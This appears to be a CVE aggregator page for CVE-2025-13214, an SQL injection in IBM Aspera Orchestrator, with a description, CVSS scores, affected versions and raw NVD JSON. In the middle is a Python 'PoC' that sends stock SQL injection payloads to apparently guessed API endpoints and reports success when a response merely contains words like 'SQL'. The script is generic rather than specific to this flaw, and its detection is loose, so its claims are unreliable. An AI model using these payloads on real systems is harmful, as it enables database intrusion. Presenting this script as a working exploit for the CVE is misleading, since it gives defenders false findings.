Security Vulnerability Report
中文
CVE-2025-13214 CVSS 7.6 HIGH

CVE-2025-13214

Published: 2025-12-11 20:15:53
Last Modified: 2025-12-15 19:03:34

Description

IBM Aspera Orchestrator 4.0.0 through 4.1.0 is vulnerable to SQL injection. A remote attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:ibm:aspera_orchestrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM Aspera Orchestrator 4.0.0
IBM Aspera Orchestrator 4.0.1
IBM Aspera Orchestrator 4.0.2
IBM Aspera Orchestrator 4.0.3
IBM Aspera Orchestrator 4.0.4
IBM Aspera Orchestrator 4.0.5
IBM Aspera Orchestrator 4.0.6
IBM Aspera Orchestrator 4.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-13214 SQL Injection PoC for IBM Aspera Orchestrator Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys def test_sql_injection(target_url): """ Test for SQL injection vulnerability in IBM Aspera Orchestrator """ print(f"[*] Testing SQL injection on {target_url}") # Common vulnerable endpoints in IBM Aspera Orchestrator endpoints = [ "/api/v1/endpoint", "/api/search", "/admin/search", "/api/filter" ] # SQL injection test payloads payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "' OR 1=1--", "admin'--" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint for payload in payloads: try: # Test with GET request params = {'q': payload} response = requests.get(url, params=params, timeout=10) # Check for SQL error indicators sql_error_indicators = [ "SQL", "mysql", "postgres", "oracle", "sqlite", "syntax error", "unclosed quotation", "ODBC", "Microsoft SQL Server", "Warning: mysql" ] response_text = response.text.lower() for indicator in sql_error_indicators: if indicator.lower() in response_text: print(f"[+] Potential SQL injection found!") print(f"[+] Endpoint: {url}") print(f"[+] Payload: {payload}") print(f"[+] Indicator: {indicator}") return True except requests.exceptions.Timeout: print(f"[*] Request timeout with payload: {payload}") except Exception as e: print(f"[-] Error: {e}") print("[*] No obvious SQL injection detected") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} https://target.example.com") sys.exit(1) target = sys.argv[1] test_sql_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13214", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:53.060", "lastModified": "2025-12-15T19:03:34.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Aspera Orchestrator 4.0.0 through 4.1.0 is vulnerable to SQL injection. A remote attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:aspera_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.1.1", "matchCriteriaId": "ABABACFD-E349-45B4-980B-FD851738CFE6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7254434", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}